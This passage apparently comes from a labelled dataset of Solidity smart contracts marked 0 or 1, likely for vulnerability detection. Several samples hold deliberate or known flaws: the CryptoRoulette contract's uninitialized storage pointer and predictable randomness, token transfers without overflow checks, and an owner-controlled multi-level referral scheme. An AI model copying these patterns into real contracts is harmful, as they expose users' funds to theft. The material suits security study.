return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require( balanceOf(msg.sender) >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
uint256 allowance = allowed[_from][msg.sender];
require( balanceOf(_from) >= _value && allowance >= _value );
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function resolveSupply() public view returns (uint256 balance) {
return totalSupply;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
int256 z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
} | 0 |
pragma solidity ^0.4.19;
contract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.1 ether;
address public ownerAddr;
struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed;
function CryptoRoulette() public {
ownerAddr = msg.sender;
shuffle();
}
function shuffle() internal {
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 10 + 1;
}
function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);
if (number == secretNumber) {
msg.sender.transfer(this.balance);
}
shuffle();
lastPlayed = now;
}
function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);
}
}
function() public payable { }
} | 1 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract MyCoin is StandardToken,BurnableToken {
string public name = "DoraCoin";
string public symbol = "DOR";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = 51000000 * (10 ** uint256(decimals));
function MyCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 |
pragma solidity ^ 0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns(uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns(uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns(uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns(uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns(uint);
function balanceOf(address tokenOwner) public constant returns(uint balance);
function allowance(address tokenOwner, address spender) public constant returns(uint remaining);
function transfer(address to, uint tokens) public returns(bool success);
function approve(address spender, uint tokens) public returns(bool success);
function transferFrom(address from, address to, uint tokens) public returns(bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract MT is ERC20Interface{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
uint public sysusermoney;
uint public sysoutmoney;
uint public sellPrice;
uint public buyPrice;
uint public sysPer;
uint public sysPrice1;
uint public sysPrice2;
uint public sysPrice3;
uint public sysPrice4;
uint public sysPer1;
uint public sysPer2;
uint public sysPer3;
uint public sysPer4;
uint public systime1;
uint public systime2;
uint public systime3;
uint public systime4;
uint public outper1;
uint public outper2;
uint public outper3;
uint public outper4;
uint public transper;
bool public actived;
uint public onceAddTime;
uint public upper1;
uint public upper2;
uint public upper3;
uint public upper4;
uint public upper5;
uint public upper6;
uint public teamper1;
uint public teamper2;
uint public sellper;
uint public sysminteth;
uint public hasoutmony;
uint public hasbuymoney;
uint public hassellmoney;
uint public hasbuyeth;
uint public hasselleth;
mapping(address => uint) balances;
mapping(address => uint) myeth;
mapping(address => uint) froeth;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
mapping(address => address) public fromaddr;
mapping(address => bool) public admins;
mapping(address => uint) public crontime;
mapping(address => uint) public mintnum;
uint[] public permans;
mapping(address => uint) public teamget;
struct sunsdata{
uint n1;
uint n2;
uint n3;
uint n4;
uint n5;
uint n6;
uint getmoney;
}
mapping(address => sunsdata) public suns;
address public intertoken;
modifier onlyInterface {
require(intertoken != address(0));
require(msg.sender == intertoken);
_;
}
event FrozenFunds(address target, bool frozen);
address public owner;
address public financer;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyFinancer {
require(msg.sender == financer);
_;
}
constructor() public {
symbol = "MToken";
name = "MToken";
decimals = 18;
_totalSupply = 5000000000 ether;
sysusermoney = 2500000000 ether;
sysoutmoney = 2500000000 ether;
sellPrice = 7251 ether;
buyPrice = 7251 ether;
sysPer = 2;
sysPer1 = 3;
sysPer2 = 4;
sysPer3 = 5;
sysPer4 = 6;
sysPrice1 = 10000 ether;
sysPrice2 = 100000 ether;
sysPrice3 = 300000 ether;
sysPrice4 = 500000 ether;
transper = 3;
upper1 = 10;
upper2 = 7;
upper3 = 6;
upper4 = 5;
upper5 = 4;
upper6 = 3;
teamper1 = 10;
teamper2 = 20;
outper1 = 80;
outper2 = 70;
outper3 = 60;
outper4 = 60;
sellper = 85;
actived = true;
onceAddTime = 10 days;
systime1 = 13;
systime2 = 25;
systime3 = 37;
systime4 = 73;
permans = [40,20,12,6];
balances[this] = _totalSupply;
owner = msg.sender;
financer = msg.sender;
emit Transfer(address(0), owner, _totalSupply);
}
function balanceOf(address user) public view returns(uint balance) {
return balances[user];
}
function ethbalance(address user) public view returns(uint balance) {
return user.balance;
}
function addcrontime(address addr) private{
if(crontime[addr] < now) {
crontime[addr] = now + onceAddTime;
}
}
function addusertime(address addr) private{
if(balances[addr] < 2) {
addcrontime(addr);
}
}
function getaddtime(address _addr) public view returns(uint) {
if(crontime[_addr] < 2) {
return(0);
}else{
return(crontime[_addr]);
}
}
function getmy(address user) public view returns(
uint myblance,
uint meth,
uint myeths,
uint mypro,
uint mytime,
uint bprice,
uint tmoney,
uint myall
){
myblance = balances[user];
meth = address(user).balance;
myeths = myeth[user];
mypro = froeth[user];
mytime = crontime[user];
bprice = buyPrice;
tmoney = balances[this];
myall = myblance.add(mypro);
}
function geteam(address user) public view returns(
uint nn1,
uint nn2,
uint nn3,
uint nn4,
uint nn5,
uint nn6,
uint ms,
uint tm,
uint mintmoneys,
uint usermoneys,
uint fromoneys,
uint lid
){
nn1 = suns[user].n1;
nn2 = suns[user].n2;
nn3 = suns[user].n3;
nn4 = suns[user].n4;
nn5 = suns[user].n5;
nn6 = suns[user].n6;
ms = teamget[user];
tm = getaddtime(user);
mintmoneys = sysoutmoney;
usermoneys = sysusermoney;
fromoneys = sysminteth;
if(suns[user].n2 >= permans[2] && suns[user].n1 >= permans[3]){
lid = 1;
}
if(suns[user].n2 >= permans[0] && suns[user].n1 >= permans[1]){
lid = 2;
}
}
function getsys() public view returns(
uint tmoney,
uint outm,
uint um,
uint from,
uint hasout,
uint hasbuy,
uint hassell,
uint hasbuyeths,
uint hasselleths
){
tmoney = _totalSupply.sub(balances[this]);
outm = sysoutmoney;
um = sysusermoney;
from = sysminteth;
hasout = hasoutmony;
hasbuy = hasbuymoney;
hassell = hassellmoney;
hasbuyeths = hasbuyeth;
hasselleths = hasselleth;
}
function _transfer(address from, address to, uint tokens) private returns(bool success) {
require(!frozenAccount[from]);
require(!frozenAccount[to]);
require(actived == true);
uint addper = tokens*transper/100;
uint allmoney = tokens + addper;
require(balances[from] >= allmoney);
require(tokens > 1 && tokens < _totalSupply);
require(to != 0x0);
require(from != to);
uint previousBalances = balances[from] - addper + balances[to];
if(fromaddr[to] == address(0) && fromaddr[from] != to) {
fromaddr[to] = from;
suns[from].n1++;
address top = fromaddr[from];
if(top != address(0)) {
suns[top].n2++;
top = fromaddr[top];
if(top != address(0)) {
suns[top].n3++;
top = fromaddr[top];
if(top != address(0)) {
suns[top].n4++;
top = fromaddr[top];
if(top != address(0)) {
suns[top].n5++;
top = fromaddr[top];
if(top != address(0)) {
suns[top].n6++;
}
}
}
}
}
}
balances[from] = balances[from].sub(allmoney);
if(balances[from] < myeth[from]) {
myeth[from] = balances[from];
}
balances[this] = balances[this].add(addper);
balances[to] = balances[to].add(tokens);
myeth[to] = myeth[to].add(tokens);
addcrontime(to);
emit Transfer(from, this, addper);
emit Transfer(from, to, tokens);
assert(balances[from] + balances[to] == previousBalances);
return true;
}
function transfer(address to, uint tokens) public returns(bool success) {
_transfer(msg.sender, to, tokens);
success = true;
}
function intertransfer(address from, address to, uint tokens) public onlyInterface returns(bool success) {
_transfer(from, to, tokens);
success = true;
}
function getfrom(address _addr) public view returns(address) {
return(fromaddr[_addr]);
}
function approve(address spender, uint tokens) public returns(bool success) {
require(tokens > 1 && tokens < _totalSupply);
require(balances[msg.sender] >= tokens);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns(bool success) {
require(actived == true);
require(!frozenAccount[from]);
require(!frozenAccount[to]);
require(tokens > 1 && tokens < _totalSupply);
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns(uint remaining) {
return allowed[tokenOwner][spender];
}
function freezeAccount(address target, bool freeze) public onlyOwner{
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setconf(
uint systyPrice1,
uint systyPrice2,
uint systyPrice3,
uint systyPrice4,
uint sysPermit1,
uint sysPermit2,
uint sysPermit3,
uint sysPermit4,
uint systime1s,
uint systime2s,
uint systime3s,
uint systime4s
) public onlyOwner{
sysPrice1 = systyPrice1;
sysPrice2 = systyPrice2;
sysPrice3 = systyPrice3;
sysPrice4 = systyPrice4;
sysPer1 = sysPermit1;
sysPer2 = sysPermit2;
sysPer3 = sysPermit3;
sysPer4 = sysPermit4;
systime1 = systime1s + 1;
systime2 = systime2s + 1;
systime3 = systime3s + 1;
systime4 = systime4s + 1;
}
function getconf() public view returns(
uint systyPrice1,
uint systyPrice2,
uint systyPrice3,
uint systyPrice4,
uint sysPermit1,
uint sysPermit2,
uint sysPermit3,
uint sysPermit4,
uint systime1s,
uint systime2s,
uint systime3s,
uint systime4s
) {
systyPrice1 = sysPrice1;
systyPrice2 = sysPrice2;
systyPrice3 = sysPrice3;
systyPrice4 = sysPrice4;
sysPermit1 = sysPer1;
sysPermit2 = sysPer2;
sysPermit3 = sysPer3;
sysPermit4 = sysPer4;
systime1s = systime1 - 1;
systime2s = systime2 - 1;
systime3s = systime3 - 1;
systime4s = systime4 - 1;
}
function setother(
uint newonceaddtime,
uint newBuyPrice,
uint newSellPrice,
uint sysPermit,
uint transpers,
uint sellpers,
uint upper1s,
uint upper2s,
uint upper3s,
uint upper4s,
uint upper5s,
uint upper6s
) public onlyOwner{
onceAddTime = newonceaddtime;
buyPrice = newBuyPrice;
sellPrice = newSellPrice;
sysPer = sysPermit;
transper = transpers;
sellper = sellpers;
upper1 = upper1s;
upper2 = upper2s;
upper3 = upper3s;
upper4 = upper4s;
upper5 = upper5s;
upper6 = upper6s;
}
function getother() public view returns(
uint newonceaddtime,
uint newBuyPrice,
uint newSellPrice,
uint sysPermit,
uint transpers,
uint sellpers,
uint upper1s,
uint upper2s,
uint upper3s,
uint upper4s,
uint upper5s,
uint upper6s
){
newonceaddtime = onceAddTime;
newBuyPrice = buyPrice;
newSellPrice = sellPrice;
sysPermit = sysPer;
transpers = transper;
sellpers = sellper;
upper1s = upper1;
upper2s = upper2;
upper3s = upper3;
upper4s = upper4;
upper5s = upper5;
upper6s = upper6;
}
function setsysteam(
uint outper1s,
uint outper2s,
uint outper3s,
uint outper4s,
uint teamper1s,
uint teamper2s,
uint t1,
uint t2,
uint t3,
uint t4
) public onlyOwner{
outper1 = outper1s;
outper2 = outper2s;
outper3 = outper3s;
outper4 = outper4s;
teamper1 = teamper1s;
teamper2 = teamper2s;
permans = [t1,t2,t3,t4];
}
function getsysteam() public view returns(
uint outper1s,
uint outper2s,
uint outper3s,
uint outper4s,
uint teamper1s,
uint teamper2s,
uint t1,
uint t2,
uint t3,
uint t4
){
outper1s = outper1;
outper2s = outper2;
outper3s = outper3;
outper4s = outper4;
teamper1s = teamper1;
teamper2s = teamper2;
t1 = permans[0];
t2 = permans[1];
t3 = permans[2];
t4 = permans[3];
}
function setactive(bool tags) public onlyOwner {
actived = tags;
}
function settoken(address tokensaddr) onlyOwner public {
intertoken = tokensaddr;
}
function setadmin(address adminaddr) onlyOwner public {
owner = adminaddr;
}
function setfinancer(address financeraddr) onlyOwner public {
financer = financeraddr;
}
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function addusermoney(address target, uint256 mintedAmount) private{
require(!frozenAccount[target]);
require(actived == true);
require(balances[this] > mintedAmount);
balances[target] = balances[target].add(mintedAmount);
myeth[target] = myeth[target].add(mintedAmount);
balances[this] = balances[this].sub(mintedAmount);
sysusermoney = sysusermoney.sub(mintedAmount);
hasoutmony = hasoutmony.add(mintedAmount);
addcrontime(target);
emit Transfer(this, target, mintedAmount);
}
function subusermoney(address target, uint256 mintedAmount) private{
require(!frozenAccount[target]);
require(actived == true);
require(balances[target] > mintedAmount);
balances[target] = balances[target].sub(mintedAmount);
if(balances[target] < myeth[target]) {
myeth[target] = balances[target];
}
balances[this] = balances[this].add(mintedAmount);
sysusermoney = sysusermoney.add(mintedAmount);
emit Transfer( target,this, mintedAmount);
}
function adduser(address target, uint256 mintedAmount) public onlyFinancer{
addusermoney(target, mintedAmount);
}
function subuser(address target, uint256 mintedAmount) public onlyFinancer{
subusermoney(target, mintedAmount);
}
function interadduser(address target, uint256 mintedAmount) public onlyInterface{
addusermoney(target, mintedAmount);
}
function intersubuser(address target, uint256 mintedAmount) public onlyInterface{
subusermoney(target, mintedAmount);
}
function mintadd() public{
address user = msg.sender;
require(!frozenAccount[user]);
require(actived == true);
require(balances[user] >= sysPrice1);
froeth[user] = froeth[user].add(balances[user]);
sysminteth = sysminteth.add(balances[user]);
emit Transfer(user, this, balances[user]);
balances[user] = 1;
myeth[user] = 1;
if(froeth[user] >= sysPrice4) {
mintnum[user] = systime4;
}
else if(froeth[user] >= sysPrice3) {
mintnum[user] = systime3;
}
else if(froeth[user] >= sysPrice2) {
mintnum[user] = systime2;
}else{
mintnum[user] = systime1;
}
crontime[user] = now + onceAddTime;
}
function mintsub() public{
address user = msg.sender;
require(!frozenAccount[user]);
require(actived == true);
require(mintnum[user] > 1);
require(froeth[user] >= sysPrice1);
uint getamount = froeth[user]*outper1/100;
if(froeth[user] >= sysPrice4) {
getamount = froeth[user]*outper4/100;
}
else if(froeth[user] >= sysPrice3) {
getamount = froeth[user]*outper3/100;
}
else if(froeth[user] >= sysPrice2) {
getamount = froeth[user]*outper2/100;
}
uint addthis = froeth[user].sub(getamount);
balances[this] = balances[this].add(addthis);
emit Transfer(user, this, addthis);
sysminteth = sysminteth.add(uint(1)).sub(froeth[user]);
froeth[user] = 1;
mintnum[user] = 1;
balances[user] = balances[user].add(getamount);
myeth[user] = myeth[user].add(getamount);
emit Transfer(this, user, getamount);
}
function setteam(address user, uint amount) private returns(bool) {
if(suns[user].n2 >= permans[2] && suns[user].n1 >= permans[3]){
teamget[user] = teamget[user].add(amount);
uint chkmoney = sysPrice2;
uint sendmoney = teamget[user]*teamper1/100;
if(suns[user].n2 >= permans[0] && suns[user].n1 >= permans[1]){
chkmoney = sysPrice4;
sendmoney = teamget[user]*teamper2/100;
}
if(teamget[user] >= chkmoney) {
require(balances[this] > sendmoney);
require(sysoutmoney > sendmoney);
suns[user].getmoney = suns[user].getmoney.add(sendmoney);
balances[user] = balances[user].add(sendmoney);
teamget[user] = 1;
balances[this] = balances[this].sub(sendmoney);
sysoutmoney = sysoutmoney.sub(sendmoney);
sysusermoney = sysusermoney.add(sendmoney);
emit Transfer(this, user, sendmoney);
}
return(true);
}
}
function settop(address top, uint upmoney) private{
require(balances[this] > upmoney);
require(sysoutmoney > upmoney);
balances[top] = balances[top].add(upmoney);
balances[this] = balances[this].sub(upmoney);
sysoutmoney = sysoutmoney.sub(upmoney);
sysusermoney = sysusermoney.add(upmoney);
emit Transfer(this, top, upmoney);
setteam(top, upmoney);
}
function mint() public {
address user = msg.sender;
require(!frozenAccount[user]);
require(actived == true);
require(crontime[user] > 1);
require(now > crontime[user]);
uint amount;
uint usmoney;
uint mintmoney;
if(myeth[user] > 1) {
usmoney = myeth[user] * sysPer / 100;
}
if(froeth[user] >= sysPrice1 && mintnum[user] > 1) {
mintmoney = froeth[user] * sysPer1 / 100;
if(froeth[user] >= sysPrice4) {
mintmoney = froeth[user] * sysPer4 / 100;
}
else if(froeth[user] >= sysPrice3) {
mintmoney = froeth[user] * sysPer3 / 100;
}
else if(froeth[user] >= sysPrice2) {
mintmoney = froeth[user] * sysPer2 / 100;
}
}
amount = usmoney.add(mintmoney);
require(balances[this] > amount);
require(sysoutmoney > amount);
balances[user] = balances[user].add(amount);
balances[this] = balances[this].sub(amount);
sysoutmoney = sysoutmoney.sub(amount);
sysusermoney = sysusermoney.add(amount);
crontime[user] = now + onceAddTime;
if(usmoney > 0) {
emit Transfer(this, user, usmoney);
}
if(mintmoney > 0) {
emit Transfer(this, user, mintmoney);
mintnum[user]--;
if(mintnum[user] < 2) {
balances[user] = balances[user].add(froeth[user]);
myeth[user] = myeth[user].add(froeth[user]);
sysminteth = sysminteth.sub(froeth[user]);
emit Transfer(this, user, froeth[user]);
froeth[user] = 1;
}
}
address top = fromaddr[user];
if(top != address(0) && top != user) {
uint upmoney = amount*upper1/100;
settop(top, upmoney);
top = fromaddr[top];
if(top != address(0) && top != user) {
upmoney = amount*upper2/100;
settop(top, upmoney);
top = fromaddr[top];
if(top != address(0) && top != user) {
upmoney = amount*upper3/100;
settop(top, upmoney);
top = fromaddr[top];
if(top != address(0) && top != user) {
upmoney = amount*upper4/100;
settop(top, upmoney);
top = fromaddr[top];
if(top != address(0) && top != user) {
upmoney = amount*upper5/100;
settop(top, upmoney);
top = fromaddr[top];
if(top != address(0) && top != user) {
upmoney = amount*upper6/100;
settop(top, upmoney);
}
}
}
}
}
}
}
function getall() public view returns(uint256 money) {
money = address(this).balance;
}
function buy() public payable returns(uint) {
require(actived == true);
address user = msg.sender;
require(!frozenAccount[user]);
require(msg.value > 0);
uint amount = (msg.value * buyPrice)/1 ether;
require(balances[this] > amount);
require(amount > 1 && amount < _totalSupply);
balances[user] = balances[user].add(amount);
myeth[user] = myeth[user].add(amount);
balances[this] = balances[this].sub(amount);
sysusermoney = sysusermoney.sub(amount);
hasbuymoney = hasbuymoney.add(amount);
hasbuyeth = hasbuyeth.add(msg.value);
addcrontime(user);
owner.transfer(msg.value);
emit Transfer(this, user, amount);
return(amount);
}
function charge() public payable returns(bool) {
return(true);
}
function() payable public {
buy();
}
function withdraw(address _to, uint money) public onlyOwner {
require(actived == true);
require(!frozenAccount[_to]);
require(address(this).balance > money);
require(money > 0);
_to.transfer(money);
}
function sell(uint256 amount) public returns(bool success) {
require(actived == true);
address user = msg.sender;
require(!frozenAccount[user]);
require(amount < _totalSupply);
require(amount > 1);
require(balances[user] >= amount);
uint moneys = (amount * sellper * 10 finney)/sellPrice;
require(address(this).balance > moneys);
user.transfer(moneys);
uint previousBalances = balances[user] + balances[this];
balances[user] = balances[user].sub(amount);
if(balances[user] < myeth[user]) {
myeth[user] = balances[user];
}
balances[this] = balances[this].add(amount);
sysusermoney = sysusermoney.add(amount);
hassellmoney = hassellmoney.add(amount);
hasselleth = hasselleth.add(moneys);
emit Transfer(user, this, amount);
assert(balances[user] + balances[this] == previousBalances);
return(true);
}
function addBalances(address[] recipients, uint256[] moenys) public onlyOwner{
uint256 sum = 0;
for(uint256 i = 0; i < recipients.length; i++) {
balances[recipients[i]] = balances[recipients[i]].add(moenys[i]);
sum = sum.add(moenys[i]);
addusertime(recipients[i]);
emit Transfer(this, recipients[i], moenys[i]);
}
balances[this] = balances[this].sub(sum);
sysusermoney = sysusermoney.sub(sum);
}
function subBalances(address[] recipients, uint256[] moenys) public onlyOwner{
uint256 sum = 0;
for(uint256 i = 0; i < recipients.length; i++) {
balances[recipients[i]] = balances[recipients[i]].sub(moenys[i]);
sum = sum.add(moenys[i]);
emit Transfer(recipients[i], this, moenys[i]);
}
balances[this] = balances[this].add(sum);
sysusermoney = sysusermoney.add(sum);
}
} | 1 |
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract doccoin is owned {
string public name = "DocCoin";
string public symbol = "Doc";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000000000000000000000;
address public crowdsaleContract;
uint sendingBanPeriod = 1520726400;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
modifier canSend() {
require ( msg.sender == owner || now > sendingBanPeriod || msg.sender == crowdsaleContract);
_;
}
function doccoin(
) public {
balanceOf[msg.sender] = totalSupply;
}
function setCrowdsaleContract(address contractAddress) onlyOwner {
crowdsaleContract = contractAddress;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public canSend {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public canSend returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract DoccoinPreICO is owned {
address public wallet1 = address(0x0028D118C0c892e5afaF6C10d79D3922bC76840B);
address public wallet2 = address(0xd7df9e4f97a7bdbff9799e29b9689515af2da3a6);
uint public fundingGoal;
uint public amountRaised;
uint public beginTime = 1516838400;
uint public endTime = 1517529600;
uint public price = 100 szabo;
doccoin public tokenReward;
event FundTransfer(address backer, uint amount, bool isContribution);
function DoccoinPreICO(
doccoin addressOfTokenUsedAsReward
) {
tokenReward = addressOfTokenUsedAsReward;
}
function withdrawTokens() onlyOwner {
tokenReward.transfer(msg.sender, tokenReward.balanceOf(this));
FundTransfer(msg.sender, tokenReward.balanceOf(this), false);
}
function buyTokens(address beneficiary) payable {
require(msg.value >= 200 finney);
uint amount = msg.value;
amountRaised += amount;
tokenReward.transfer(beneficiary, amount*1000000000000000000/price);
FundTransfer(beneficiary, amount, true);
wallet1.transfer(msg.value*90/100);
wallet2.transfer(msg.value*10/100);
}
function () payable onlyCrowdsalePeriod {
buyTokens(msg.sender);
}
modifier onlyCrowdsalePeriod() {
require ( now >= beginTime && now <= endTime ) ;
_;
}
} | 1 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
